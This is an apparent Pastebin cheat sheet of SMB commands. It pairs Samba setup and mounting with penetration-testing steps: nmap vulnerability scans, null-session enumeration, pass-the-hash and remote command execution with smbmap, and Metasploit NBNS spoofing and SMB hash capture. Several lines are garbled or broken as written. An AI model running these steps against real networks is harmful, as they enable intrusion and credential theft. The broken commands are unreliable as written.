Advertisement
xe1phix

Xe1phix-[SMB]-Cheatsheet-[v4.2.85].sh

Sep 21st, 2022 (edited)
929
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 6.43 KB | Cybersecurity | 0 0
  1. #!/bin/sh
  2. ##-======================================-##
  3. ##   [+] Xe1phix-[SMB]-Cheatsheet.sh
  4. ##-======================================-##
  5.  
  6.  
  7. smb:// ip /share                            ## Access windows smb share
  8. share user x.x.x.x c$                       ## Mount Windows share
  9. smbclient -0 user\\\\ ip \\ share           ## Sl1B connect
  10.  
  11. /var/log/messages | grep DHCP               ## List DHCP assignments
  12. echo "1" /proc/sys/net/ipv4/ip forward      ## Turn on IP Forwarding
  13.  
  14. scp /tmp/$File user@x.x.x.x:/tmp/$File        ## Put file
  15. scp user@ remoteip :/tmp/$File /tmp/$File     Get file
  16.  
  17.  
  18.  
  19.  
  20. ##-====================================-##
  21. ##   [+] Service Message Block (SMB)
  22. ##-====================================-##
  23. systemctl enable smb
  24. systemctl start
  25. systemctl status smb
  26.  
  27.  
  28.  
  29. ##-=============================-##
  30. ##  [+]
  31. ##-=============================-##
  32. smbclient -L\\ -N -I $IP
  33. smbclient -L //localhost -U $User
  34.  
  35.  
  36. ##-================================-##
  37. ##  [+] Provide the target host:   
  38. ##-================================-##
  39. smbclient -L\\ -N -I $1 2>&1 | tee "smbclient_$1.txt"
  40.  
  41.  
  42. ##-================================-##
  43. ##  [+] Mount SMB/CIFS shares
  44. ##-================================-##
  45. mount.cifs // ip /share /mnt/share -o user=$User,pass=$Pass,sec=ntlrnssp,domain=$Domain,rw
  46.  
  47.  
  48. mount -t cifs -o username=$User,password=$Pass //serverip/share_name /mnt/mountlocation
  49.  
  50. /etc/fstab
  51. //serverip/share_name /mnt/mountlocation cifs username=$User,password=$Pass 0 0
  52.  
  53.  
  54. ##-====================================-##
  55. ##  [+] Mount Remote Windows Share:
  56. ##-====================================-##
  57. smbmount //X.X.X.X/c$ /mnt/remote/ -o username=$User,password=$Pass,rw
  58.  
  59.  
  60.  
  61. ##-=============================-##
  62. ##  [+]
  63. ##-=============================-##
  64. ## Samba file share on the Samba server,
  65. ## the one client user is added to the tdbsam user database
  66.  
  67. smbpasswd -a $User
  68.  
  69.  
  70.  
  71. ##-=========================================================-##
  72. ##  [?] user accounts are displayed using a short listing
  73.  
  74. pdbedit -L
  75.  
  76.  
  77.  
  78. ##-==========================-##
  79. ## -------------------------- ##
  80. ##   [+] SMB Enumeration
  81. ## -------------------------- ##
  82. ##-==========================-##
  83.  
  84.  
  85.  
  86. ##-==========================-##
  87. ##   [+] SMB OS Discovery  
  88. ##-==========================-##
  89. nmap $ip --script smb-os-discovery.nse
  90.  
  91. ##-==========================-##
  92. ##   [+] Nmap port scan  
  93. ##-==========================-##
  94. nmap -v -p 139,445 -oG $File.txt $IP-254
  95.  
  96. ##-======================================-##
  97. ##   [+] Netbios Information Scanning
  98. ##-======================================-##
  99. nbtscan -r $IP/24               ## Netbios Information Scanning
  100.  
  101. ##-=====================================================-##
  102. ##   [+] Netbios Scan - Tee Output To Console +_File:
  103. ##-=====================================================-##
  104. nbtscan -rvh $IP 2>&1 | tee "nbtscan-$IP.txt"
  105.  
  106.  
  107. ##-===========================================-##
  108. ##   [+] Nmap find exposed Netbios servers  
  109. ##-===========================================-##
  110. nmap -sU --script nbstat.nse -p 137 $IP
  111.        
  112. ##-======================================-##
  113. ##   [+] Nmap all SMB scripts scan
  114. ##-======================================-##
  115. nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script args=unsafe=1 $IP
  116.  
  117. ##-=================================================-##
  118. ##   [+] Nmap all SMB scripts authenticated scan
  119. ##-=================================================-##
  120. nmap -sV -Pn -vv -p 445 --script-args smbuser=$User,smbpass=$Pass --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128. ##-==================================-##
  129. ##   [+] SMB Enumeration Tools  
  130. ##-==================================-##
  131. nmblookup -A $IP  
  132.        
  133. smbclient //MOUNT/share -I $IP -N  
  134.        
  135. rpcclient -U "" $IP  
  136.        
  137. enum4linux $IP  
  138. enum4linux -a $IP                       ## Do all simple enumeration
  139. smbtree -NS 2>/dev/null                 ## smb network browser
  140.  
  141. smbgetserverinfo -v -i $IP
  142. smbdumpusers -i $IP
  143.  
  144.  
  145.  
  146. smbmap -u jsmith -p password1 -d workgroup -H 192.168.0.1
  147. smbmap -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
  148. smbmap -u 'apadmin' -p 'asdf1234!' -d ACME -H 10.1.3.30 -x 'net group "Domain Admins" /domain'
  149.  
  150. ##-===============================-##
  151. ##   [+] SMB Finger Printing  
  152. ##-===============================-##
  153. smbclient -L //$IP
  154.  
  155. ##-======================================-##
  156. ##   [+] Nmap Scan for Open SMB Shares  
  157. ##-======================================-##
  158. nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=$User,smbpass=$Pass -p445 192.168.10.0/24
  159.  
  160. ##-================================================-##
  161. ##   [+] Nmap scans for vulnerable SMB Servers
  162. ##-================================================-##
  163. nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $IP
  164.  
  165.  
  166. nmap --script="+*smb* and not brute and not dos and not fuzzer" -p 139,445 -oN smb-vuln $ip
  167.  
  168.  
  169.  
  170. ##-==============================-##
  171. ##   [+] NBNS Spoof / Capture
  172. ##-==============================-##
  173.  
  174. ##-=====================-##
  175. ##   [+] NBNS Spoof
  176. ##-=====================-##
  177. msf > use auxiliary/spoof/nbns/nbns_response
  178. msf auxiliary(nbns_response) > show options
  179. msf auxiliary(nbns_response) > set INTERFACE eth0
  180. msf auxiliary(nbns_response) > set SPOOFIP 10.10.10.10
  181. msf auxiliary(nbns_response) > run
  182.  
  183.  
  184. ##-=====================-##
  185. ##   [+] SMB Capture
  186. ##-=====================-##
  187. msf > use auxiliary/server/capture/smb
  188. msf auxiliary(smb) > set JOHNPWFILE /tmp/john_smb
  189. msf auxiliary(smb) > run
  190.  
  191.  
  192.  
  193. ##-==================================================-##
  194. ##   [+] Search The NMap Directory For SMB Scripts
  195. ##-==================================================-##
  196. ls /usr/share/nmap/scripts/* | grep smb
  197.  
  198.  
  199.  
  200. ##-===============================-##
  201. ##   [+] Netbios Enumeration
  202. ##-===============================-##
  203. nbtscan -r $IP/24                               ## Netbios Information Scanning
  204. nbtscan -r 192.168.0.1-100
  205. nbtscan -f $HostFile.txt
  206.  
  207.  
  208. ##-===================================-##
  209. ##   [+] Null Session in Windows
  210. ##-===================================-##
  211. net use \\192.168.0.1\IPC$ "" /u:""
  212.  
  213. ##-================================-##
  214. ##   [+] Null Session in Linux
  215. ##-================================-##
  216. smbclient -L //192.168.99.131
  217.  
  218. smbclient -L=10.0.2.15
  219. smbclient \\\\10.0.2.15\\tmp
  220.  
  221.  
  222.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement